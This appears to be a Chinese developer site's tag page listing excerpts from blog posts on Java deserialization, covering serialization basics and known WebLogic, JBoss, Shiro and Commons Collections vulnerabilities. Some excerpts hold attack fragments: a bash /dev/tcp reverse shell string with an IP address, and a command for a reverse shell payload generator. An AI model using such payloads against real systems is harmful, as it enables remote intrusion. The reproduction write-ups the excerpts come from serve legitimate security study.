E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
Java反序列化
java中的序列化和反序列化
什么是反序列化我先解释下;Java序列化是指把Java对象转换为字节序列的过程;而
Java反序列化
是指把字节序列恢复为Java对象的过程。
guijih
·
2020-09-17 09:42
JavaEE
java序列化
基于php的反序列化漏洞简析
反序列化漏洞总体来说是一个比较新的漏洞,第一次被人们知晓是在2015年11月6日,FoxGloveSecurity安全团队的breenmachine发表了一篇篇博客,里面详细阐述了利用
java反序列化
和
Alexz__
·
2020-09-16 22:25
编程之路
漏洞分析
JAVA序列化详解
什么是JAVA序列化Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化
是指把字节序列恢复为Java对象的过程。
DBTomato
·
2020-09-15 23:56
Java
IO流(进阶提高)
IO的基本接口知识:————————————————————我是不起眼的分割线————————————————————————IO的序列化与反序列化Java序列化是指把Java对象转换为字节序列的过程;
Java
huwao
·
2020-09-15 10:04
Java成长之路
精装Java
weblogic使用jdk7u21 gadget以及回显
参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java
Java
caiqiiqi
·
2020-09-15 10:13
java
Web
安全
Java反序列化
/反射/动态生成字节码
参考:https://mp.weixin.qq.com/s/HskIJZtl4fPRyc2G36JFow反序列化漏洞中利用到很多反射的知识,普通的new一个对象://先拿到Class对象ClassaClass=Class.forName("org.chabug.entity.ReflectionClass");//new这个Class对应的对象Objecto=aClass.newInstance(
caiqiiqi
·
2020-09-15 10:42
java
JBoss 5.x和6.x 反序列化漏洞(CVE-2017-12149)
0x01漏洞简介该漏洞为
Java反序列化
错误类型,存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。
`GGyao
·
2020-09-13 01:59
漏洞复现
解决tomcat中反序列化找不到class
实际上
java反序列化
的时候,我们一般用的是ObjectInputStream,他默认会去找sun.misc.VM.latestUserDefinedLoader(),这个就是系统默认的ap
huangyunbin90
·
2020-09-13 01:53
那些蛋疼的事
java基础
java/php 通用serialize/unserialize,序列与反序列化的问题
java的serialize,序列化之后,会把java.util…包名都放进去了,而且格式也不同于php对于汉字php占用2个字符,java占用一个字符,隐藏php序列化后,再由
java反序列化
,可能导致乱码
thunder-1
·
2020-09-12 11:49
php
java
Jackson框架出现
Java反序列化
漏洞 2.7.10 及2.8.9以下版本受影响 绿盟科技发布防护方案...
而更早的时候,
Java反序列化
漏洞问题曾经一度让大家心惊肉跳,这次是Jackson框架2.7.10及2.8.9以下版本出现任意代码执行漏洞,攻击者利用该漏洞可以获得网站控制权。
weixin_33726318
·
2020-09-12 07:27
Java反序列化
漏洞原理解析
业务类实现java.io.Serializable接口才可被反序列化,而且必须所有属性是可序列化的,除了transient修饰的属性除外。Java反射Java中定义的一个类本身也是一个类对象,它们是java.lang.Class类的实例。类对象的特征包括表示正在运行的Java应用程序中的类和接口没有公共构造方法,由Java虚拟机自动构造提供类本身的信息,比如有几种构造方法,有多少属性,有哪些普通方
ZHANGJNWEI
·
2020-09-12 05:49
黑客
JAVA 反序列化攻击
Java反序列化
攻击漏洞由FoxGlove的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。
weixin_33962621
·
2020-09-11 20:20
详解 Java 中的序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程,而
Java反序列化
是指把字节序列恢复为Java对象的过程:序列化:对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。
巅峰大词典
·
2020-08-26 23:16
后端
java
序列化
反序列化
序列化和反序列化
序列化和反序列化序列化和反序列化的定义Java序列化:就是指把Java对象转换为字节序列的过程
Java反序列化
:就是指把字节序列恢复为Java对象的过程。
罗罗的1024
·
2020-08-24 07:41
java基础
Web 服务器安全之 Weblogic 漏洞重现与攻防实战
本场chat介绍Weblogic常见的漏洞,其中包括:弱口令、
Java反序列化
、XMLdecoder反序列化、SSRF漏洞、任意文件上传,并根据其漏洞,使用Docker+Vulhub进行复现。
技术杂谈哈哈哈
·
2020-08-24 05:22
利用
Java反序列化
漏洞在Windows上的挖矿实验
最近,安全社区中有很多人都在讨论如何利用
Java反序列化
漏洞来攻击类似Apache、SOLR和WebLogic之类的系统。不说废话,我们直接进入正题。
qq_27446553
·
2020-08-23 22:51
基础数据调研
Java 重新理解Serializable
Java反序列化
:序列化的逆过程,将序列化到
业余的猫
·
2020-08-23 14:38
Shiro rememberMe 在线解密 shiroDecrypt
Java反序列化
漏洞ApacheShiroRememberMe1.2.4远程代码执行工具地址ShirorememberMe在线解密https://sec.dog/shiroDecrypt.html说明有些攻击告警需要排查
v1
·
2020-08-22 16:17
安全
反序列化
解密
Java反序列化
漏洞之Weblogic、Jboss利用之payload生成工具
为了方便小伙伴们使用,我导出了两个jar包,分别用于制作反弹shell的payload和测试的payload。使用方法和利用方法请仔细看下面的截图:1、制作反弹shell的payload并利用:命令:java-jarmakeshell.jar你的IP监听端口payload名如:java-jarmakeshell.jar202.112.221.328888D:\\java\\shellpayload
aaa0404524
·
2020-08-22 16:38
远程命令执行与反序列化——Weblogic中间件反序列化漏洞及相关
Weblogic中间件反序列化漏洞及相关常见漏洞有那些:弱口令、
Java反序列化
漏洞操作(CVE-2018-2628)、任意文件上传漏洞操作(CVE-2018-2894)、XMLDecoder反序列化漏洞操作
温柔小薛
·
2020-08-22 15:34
web渗透测试与代码审计
#+
远程命令执行与反序列化漏洞
#+
中间件漏洞与框架漏洞
Apache Shiro
java反序列化
漏洞复现
ApacheShiro
java反序列化
漏洞复现影响版本ApacheShiro&/dev/tcp/192.168.136.1/88880>&1使用http://www.jackson-t.ca/runtime-exec-payloads.html
源_YUAN
·
2020-08-22 00:42
Apache
反序列化漏洞
漏洞复现
java反序列化
——XMLDecoder反序列化漏洞
前言最近学习
java反序列化
学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDecoder反序列化导致漏洞,但是网上大部分的文章都只讲到了触发XMLDecoder
合天智汇
·
2020-08-21 20:02
Shiro rememberMe 在线解密 shiroDecrypt
Java反序列化
漏洞ApacheShiroRememberMe1.2.4远程代码执行工具地址ShirorememberMe在线解密https://sec.dog/shiroDecrypt.html说明有些攻击告警需要排查
v1
·
2020-08-21 04:42
安全
反序列化
解密
java反序列化
漏洞学习之Apache Commons Collections
archives/121/https://www.xmanblog.net/java-deserialize-apache-commons-collections/https://www.smi1e.top/
java
东方
·
2020-08-21 01:40
java安全
Commons Collections
Java反序列化
漏洞利用
0x00漏洞原理与成因漏洞作者写的技术分析:http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/腾讯TSRC:https://security.tencent.com
autohacker
·
2020-08-20 23:20
漏洞分析和利用
web安全
JAVA反序列化
之Apache Commons Collections反序列化漏洞分析
ApacheCommonsCollections反序列化漏洞必然是2015年影响重大的漏洞之一,同时也开启了各类java反序列漏洞的大门,这几年大量各类
java反序列化
漏洞不断出现。
chenwan8737
·
2020-08-20 21:27
Java代码审计:
Java反序列化
入门之URLDNS链
0x01
Java反序列化
介绍
Java反序列化
漏洞的产生原因:简
god_zZz
·
2020-08-20 00:15
代码审计
java反序列化
漏洞
简单分析构造一个对象——反序列化——提交数据Map类是存储键值对的数据结构TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义简单来说就是数据改变时,进行一些我们提前设定好的操作transformedMap类MaptransformedMap=TransformedMap.de
NoOne_52
·
2020-08-17 07:37
shiro-550漏洞复现(CVE-2016-4437)
攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发
Java反序列化
漏洞,进而在目标机器上执行任意命令。
ATpiu
·
2020-08-16 15:12
渗透测试
java中Serializable与Parcelable的使用
但不包括方法和static变量(因为static修饰的变量是属于类而不隶属于对象),以及用transient关键字修饰的变量(transient是禁止序列化的标识,效果等同于static修饰的变量).
java
stormCoderStorm
·
2020-08-16 15:45
java基础相关
JAVA Apache-CommonsCollections 序列化RCE漏洞分析
0x00漏洞背景2015年11月6日,FoxGloveSecurity安全团队的@breenmachine发布的一篇博客中介绍了如何利用
Java反序列化
漏洞,来攻击最新版的WebLogic、WebSphere
he1m4n6a
·
2020-08-16 15:56
漏洞分析
Java反序列化
漏洞:在受限环境中从漏洞发现到获取反向Shell
前言
Java反序列化
漏洞可以说是Java安全的一块心病,近年来更是在安全界“出尽风头”。
废弃的root
·
2020-08-16 14:34
程序人生
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发
Java反序列化
漏洞,进而在目标机器上执行任意命令。1.搭建好环境2.复现http://目
忘止于心
·
2020-08-16 14:30
漏洞复现
Apache Shiro 反序列化(CVE-2016-4437)复现
0x01简介这个漏洞属于
java反序列化
漏洞的一种,shiro是java的一个开发框架执行身份验证、授权、密码和会话管理。
东塔安全学院
·
2020-08-16 13:58
漏洞复现
安全
WDScanner:一款分布式Web漏洞扫描平台
WDScanner简介随着互联网各种安全漏洞愈演愈烈,
JAVA反序列化
漏洞、STRUTS命令执行漏洞、ImageMagick命令执行漏洞等高危漏洞频繁爆发。
systemino
·
2020-08-16 11:27
Java序列化常见的三个问题
Java序列化是指把Java对象转换为字节序列的过程,而
Java反序列化
是指把字节序列恢复为Java对象的过程:序列化:对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。
·
2020-08-14 12:24
Weblogic10.3.6反序列化漏洞补丁(3L3H)升级方案
针对这几年来WebLogic软件经常报出的
java反序列化
漏洞问题,因为weblogic底层也使用ApacheCommonsCollections库,WebLogic存在
Java反序列化
漏洞无疑的,在漏洞修复这方面
孑木文学
·
2020-08-14 12:57
Weblogic
Linux
Weblogic
反序列化
漏洞
3L3H
补丁包
weblogic打补丁修复
JAVA反序列化
漏洞
之前一篇文章记录部署web代理修复漏洞通过部署web代理来修复
JAVA反序列化
漏洞,这篇通过打补丁来修复这个漏洞。
weixin_34266504
·
2020-08-14 09:13
Java学习之反射篇
Java学习之反射篇0x00前言今天简单来记录一下,反射与注解的一些东西,反射这个机制对于后面的
java反序列化
漏洞研究和代码审计也是比较重要。
nice_0e3
·
2020-08-13 04:00
java反序列化
失败
java.io.EOFExceptionatjava.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2638)atjava.io.ObjectInputStream$BlockDataInputStream.readShort(ObjectInputStream.java:3113)atjava.io.O
baibai8888888
·
2020-08-12 01:28
java
IO流
浅谈
Java反序列化
漏洞原理(案例未完善后续补充)
序列化与反序列化序列化用途:方便于对象在网络中的传输和存储java的反序列化序列化就是将对象转换为流,利于储存和传输的格式反序列化与序列化相反,将流转换为对象例如:json序列化、XML序列化、二进制序列化、SOAP序列化序列化:java.io.ObjectOutputStream类中的writeObject()该方法把对象序列化,将字节序列写到一个目标输出流中(.ser扩展名)反序列化:java
r0ckysec
·
2020-08-10 19:18
进阶篇
反序列化
web安全
渗透测试
网络安全
面试官:兄弟,谈谈你对transient的理解和感悟
Java反序列化
是指把字节序列恢复为Java对象的过程。2、序列化和反序列化的作用(1)序列化作用在传递和保存对象时,保存对象的完整性和可传递性。
素小暖
·
2020-08-10 16:40
Java
SE
java序列化之Serializable接口研究
今天在工作中遇到一个
java反序列化
的失败的问题,问题是这样的:Child类继承自Parent类,实现了Serializable接口并指定serialVersionUID;Parent类实现了Serializable
丨知耻而后勇丨
·
2020-08-10 01:39
java-java基础
浅谈
Java反序列化
漏洞原理(案例未完善后续补充)
序列化与反序列化序列化用途:方便于对象在网络中的传输和存储java的反序列化序列化就是将对象转换为流,利于储存和传输的格式反序列化与序列化相反,将流转换为对象例如:json序列化、XML序列化、二进制序列化、SOAP序列化序列化:java.io.ObjectOutputStream类中的writeObject()该方法把对象序列化,将字节序列写到一个目标输出流中(.ser扩展名)反序列化:java
b627074592
·
2020-08-09 19:49
Java 实现序列化接口 Serializable
1.序列化和反序列化(1)Java序列化是指把Java对象转换为字节序列的过程,而
Java反序列化
是指把字节序列恢复为Java对象的过程;(2)序列化:对象序列化的最主要的用处就是在传递和保存对象的时候
吃鸭头的怪物
·
2020-08-09 18:25
java
java反序列化
——apache-shiro复现分析
看了好久的文章才开始分析调试java的cc链,这个链算是
java反序列化
漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。
合天智汇
·
2020-08-09 11:52
java
spark
jdk
反射
jvm
JBOSS AS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
JBOSSAS5.x/6.x反序列化命令执行漏洞(CVE-2017-12149)1.漏洞描述漏洞描述:该漏洞为
Java反序列化
错误类型,存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter
fly小灰灰
·
2020-08-09 03:32
漏洞
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437) 复现
基础知识序列化和反序列化反序列化漏洞原因在
Java反序列化
中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。
图南yukino
·
2020-08-05 21:38
渗透测试
java反序列化
漏洞简单学习
在学习
java反序列化
之前,我们需要知道一个基础知识:重写。重写重写,顾名思义就是重新改写该方法,从而达到想要的结果。需要注意的是:只有拥有继承关系时才能重写,也就是说,只能重写父类的同名方法。
逗逼如风
·
2020-08-05 15:57
初窥CTF
Java序列化反序列化原理及漏洞解决方案
Java反序列化
反序列化就是将字节序列恢复为Java对象的过程整个过程都是Java虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象,因此可以实现多平台之间的通信
·
2020-08-04 17:50
上一页
1
2
3
4
5
6
7
8
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他